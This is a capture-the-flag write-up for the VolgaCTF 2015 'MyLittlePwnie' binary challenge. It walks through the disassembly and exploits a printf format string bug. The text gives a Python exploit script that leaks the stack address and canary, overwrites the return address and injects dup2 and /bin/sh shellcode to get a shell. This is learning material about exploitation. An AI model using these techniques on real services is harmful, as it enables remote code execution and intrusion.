VolgaCTF 2015 MyLittlePwnie
@mrexcessive WHA
& James Nock WHA
The problem
Just another pwn task. Break in! nc pwnie.2015.volgactf.ru 7777
This was quite painful and a great learning experience...
This writeup summarises more than 12h effort...
I resolve to be quicker with a stack canary next time !
So we have an unrestricted printf of some kind
%0$08x Echo: 0000003f %1$08x Echo: 00000000 %2$08x Echo: 00000000 %3$08x Echo: f7764b58
producing stack contents... nice... further poking and a bit of Python automation later...
%10$08x shows 24303125
which is ascii for "%10$" (LSB is first in byte order last in hex print on little endian architecture)
This suggests that the input buffer is on the stack... NOT the output buffer necessarily...
A bit later we repeatedly doing
%31$s Echo: %31$s Echo: Echo: %31$s Echo: Echo: Echo:
So... this is the output buffer and being prepended with "Echo: "
Spent some time studying the assembler
objdump -d my_little_pwnie >asm.asm**No...
I don't have any fancy OctRays or other expensive debugging glasses...** More experimenting and playing with running in GDB The server (the program) forks response processes for new connections. We can mess locally and step through while reading source...
*Excellent*
... time passes ...
A considerable time later I have this understanding and this commented source code.
8048970: c7 44 24 08 3f 00 00 movl $0x3f,0x8(%esp) ; 63chars 8048977: 00 8048978: 8d 45 b4 lea -0x4c(%ebp),%eax 804897b: 89 44 24 04 mov %eax,0x4(%esp) 804897f: 8b 45 0c mov 0xc(%ebp),%eax 8048982: 89 04 24 mov %eax,(%esp) 8048985: e8 06 fe ff ff call 8048790; get data 804898a: 89 45 b0 mov %eax,-0x50(%ebp) ; store ptr to ebp-x50 804898d: 83 7d b0 00 cmpl $0x0,-0x50(%ebp) ; 0 ? => end of connection 8048991: 75 2f jne 80489c2 ; check not overwritten 80 bytes (0x50) 8048993: a1 7c b0 04 08 mov 0x804b07c,%eax ; stderr 8048998: 89 44 24 0c mov %eax,0xc(%esp) ; save it 804899c: c7 44 24 08 16 00 00 movl $0x16,0x8(%esp) ; 24 ? 80489a3: 00 80489a4: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) ; 1 80489ab: 00 80489ac: c7 04 24 1b 8f 04 08 movl $0x8048f1b,(%esp) ; "Failed to read socket\n" 80489b3: e8 d8 fc ff ff call 8048690 ; write a message 80489b8: b8 ff ff ff ff mov $0xffffffff,%eax 80489bd: e9 aa 00 00 00 jmp 8048a6c ; quit 80489c2: c7 44 24 04 32 8f 04 movl $0x8048f32,0x4(%esp) ; "exit" 80489c9: 08 80489ca: 8d 45 b4 lea -0x4c(%ebp),%eax ; eax = 4bp-4c " this is our input " 80489cd: 89 04 24 mov %eax,(%esp) 80489d0: e8 5b fc ff ff call 8048630 ; compare with exit... 80489d5: 89 45 a8 mov %eax,-0x58(%ebp) ; store 0 or non zero 80489d8: 8d 45 b4 lea -0x4c(%ebp),%eax ; eax = ebp-4c " this is our input..." 80489db: 89 45 ac mov %eax,-0x54(%ebp) ; store to ebp-54 80489de: eb 4d jmp 8048a2d ; 80489e0: 8b 45 ac mov -0x54(%ebp),%eax ; 80489e3: 0f b6 00 movzbl (%eax),%eax 80489e6: 3c 6e cmp $0x6e,%al ; compare for "n" 80489e8: 75 3f jne 8048a29 80489ea: 8b 45 a4 mov -0x5c(%ebp),%eax 80489ed: c7 00 49 20 73 74 movl $0x74732049,(%eax) ; "I strip this awful symbol" 80489f3: c7 40 04 72 69 70 20 movl $0x20706972,0x4(%eax) 80489fa: c7 40 08 74 68 69 73 movl $0x73696874,0x8(%eax) 8048a01: c7 40 0c 20 61 77 66 movl $0x66776120,0xc(%eax) 8048a08: c7 40 10 75 6c 20 73 movl $0x73206c75,0x10(%eax) 8048a0f: c7 40 14 79 6d 62 6f movl $0x6f626d79,0x14(%eax) 8048a16: 66 c7 40 18 6c 0a movw $0xa6c,0x18(%eax) 8048a1c: c6 40 1a 00 movb $0x0,0x1a(%eax) 8048a20: c7 45 a8 00 00 00 00 movl $0x0,-0x58(%ebp) 8048a27: eb 2e jmp 8048a57 8048a29: 83 45 ac 01 addl $0x1,-0x54(%ebp) 8048a2d: 8d 45 b4 lea -0x4c(%ebp),%eax 8048a30: 89 04 24 mov %eax,(%esp) 8048a33: e8 a8 fc ff ff call 80486e0 ; 8048a38: 8d 55 b4 lea -0x4c(%ebp),%edx 8048a3b: 01 d0 add %edx,%eax 8048a3d: 3b 45 ac cmp -0x54(%ebp),%eax 8048a40: 77 9e ja 80489e0 ; loop back ^^ 8048a42: 8b 45 a4 mov -0x5c(%ebp),%eax ; STACK buffer 8048a45: 8d 50 06 lea 0x6(%eax),%edx ; buffer + 6 -> edx 8048a48: 8d 45 b4 lea -0x4c(%ebp),%eax ; our input -> eax 8048a4b: 89 44 24 04 mov %eax,0x4(%esp) 8048a4f: 89 14 24 mov %edx,(%esp) 8048a52: e8 f9 fc ff ff call 8048750 ; uncontrolled... 8048a57: 8b 45 a4 mov -0x5c(%ebp),%eax ; $eax = &outputbuffer 8048a5a: 89 44 24 04 mov %eax,0x4(%esp) 8048a5e: 8b 45 0c mov 0xc(%ebp),%eax ; xc ? 8048a61: 89 04 24 mov %eax,(%esp) 8048a64: e8 54 fe ff ff call 80488bd ; send out the formatted output 8048a69: 8b 45 a8 mov -0x58(%ebp),%eax 8048a6c: 8b 4d f4 mov -0xc(%ebp),%ecx ; get -xc [ canary ] 8048a6f: 65 33 0d 14 00 00 00 xor %gs:0x14,%ecx 8048a76: 74 05 je 8048a7d 8048a78: e8 e3 fb ff ff call 8048660 <__stack_chk_fail@plt> ; canary check failed 8048a7d: c9 leave 8048a7e: c3 ret ; this is the return we want invade
- There is one input buffer length 0x3f chars useable - we cannot overrun it.
- There is an output buffer length 120 chars, also on stack
- There are stack canaries - values which must not be changed
- We can't use "%n" attacks - because the letter "n" is very checked for and I can't get around those checks.
- However we do have sprintf() to the output buffer rather than snprintf(), so no length restriction!
It is going to be difficult...
Considerable discussion with JamesNock @ WHA about this problem.
I only finished this after the CTF had closed... on the Monday... So writeup is against my local copy of code... I think it would have worked on server...
Need some special shellcode to duplicate the STDIN/STDOUT/STDERR which have been given to the forked process... so that the remote client can connect to them.
Modify this shellcode for that part of the job, after reading about dup2() for a while.
; ref http://shell-storm.org/shellcode/files/shellcode-553.php global _start section .text _start: xor ebx,ebx mov bl,0xff ; 0xff will be patched to FileDescriptor pop ebx xor ecx,ecx push 0x3f ; 63 = SYS_dup2 (STDIN) pop eax int 0x80 inc ecx push 0x3f ; 63 = SYS_dup2 (STDOUT) pop eax int 0x80 inc ecx push 0x3f ; 63 = SYS_dup2 (STDERR) pop eax int 0x80
and find this. Need to modify it because "n" (can't have "/bin/sh" for example!)
;http://www.shell-storm.org/shellcode/files/shellcode-606.php global _start section .text _start: push 0xb pop eax ;eax=0xb cdq ;edx=0 push edx ;push 0 push dword 0x68732f2f ;" //sh" ;X push dword 0x6e69622f ;"/bin" ;do /bin -1 on all chars... mov esi,0x6d68612e ;for when you can't have 'n' add esi,0x01010101 ;increment to correct value all chars push esi mov ebx,esp ;ebx = will be "/bin//sh" push edx ;push 0 - terminate string with "\0" push ebx ;push "/bin/sh mov ecx,esp ;ecx = ["/tmp/aaa", 0] int 0x80 ;execve(ebx, ecx, edx)
OK... so now.. putting it together
This python code is the meat...
# FD = 8 # file descriptor for the send() pipe from server back to client, need to understand how to spot FD = 4 # *** CHANGE FD to 4 when not running server under GDB.. might be different again... we could read this! response = GetResponse(timeout=0.5) # throw away initial response s.send("%6$08x" + "\n") # find out where the stack is response = GetResponse(dropbefore="Echo: ",timeout=0.5) # 10 seconds if need time to type conti into gdb... #1. calculate address of the input buffer = exploitaddress stackaddress = int(response[:8],16) print "Stack address found is [%08x]" % stackaddress shelladdress = stackaddress + 27 # - 0x70, -x70 is address back in the input, not output buffer # +27 is space for final "I strip this awful symbol\n\0" print "shellcode address = %08x" % shelladdress #2. read the stack canary value s.send("%26$08x") response = GetResponse(dropbefore="Echo: ",timeout=0.5) # 10 seconds if need time to type conti into gdb... canaryvalue = int(response[:8],16) # syntax taken from the writeup ... print "Canary value found is [%08x]" % canaryvalue #3. write out return address+FD # offset to return address from start of buffer (see challenge.txt) offsettoreturn = 0xffffd37c - 0xffffd2e2 # stack can move around, but offset should stay same print "calculated return offset = %08x" % offsettoreturn sendme = "%" + "%i" % offsettoreturn + "x" sendme += struct.pack('<I', shelladdress) sendme += struct.pack('<I', FD) s.send(sendme+"\n") response = GetResponse(timeout=0.5) # 10 seconds if need time to type conti into gdb... print response #4. write out canary #4a. write out the canary... to canary offset + 1 (because it has 00 as LSB, for awkwardness) # offset to canary address from start of buffer offsettocanary = 0xffffd35c - 0xffffd2e2 print "calculated canary offset = %08x" % offsettocanary sendme = "%" + "%i" % offsettocanary + "x" sendme += struct.pack('<I', canaryvalue+1) # add 1 so that the lowest byte is no longer \00 s.send(sendme + "\n") response = GetResponse(timeout=0.5) # 10 seconds if need time to type conti into gdb... print "After sending canary A [%s]" % response #4b. write out first byte of canary, just send a \00 sendme = "%" + "%i" % offsettocanary + "x" s.send(sendme+"\x00\n") response = GetResponse(timeout=0.5) # 10 seconds if need time to type conti into gdb... print "After sending canary B [%s]" % response #5. write out shellcode skipbytes = len("I strip this awful symbol\n") - 5 # -6 because "Echo: " not there, -5 only because \00 on end sendme = "%" + "%i" % skipbytes + "x" sendme += GetShellcode(FD) # no space for a NOPsled assert(len(sendme) <= 0x3f) print "skip and shell is [%s]" % sendme s.send(sendme + "\n") response = GetResponse(timeout=0.5) # 10 seconds if need time to type conti into gdb... print "After sending shell [%s]" % response #5. press 'n' deliberately to trigger exit and the return address print print "NOW PRESS n and Enter... for shell" print
And we get a shell !
This makes light of the 4 hours or so it took from having this final structure, to realising fully that I could skip through the output buffer by using %
This was great fun... I'm only sorry didn't manage to finish it in time.
Learnt a lot about shell exploiting and gdb use.
for instance thb *0xaddress can be used to get control of code executing on the stack, which you can't do with a normal breakpoint...
Cheers @VolgaCTF !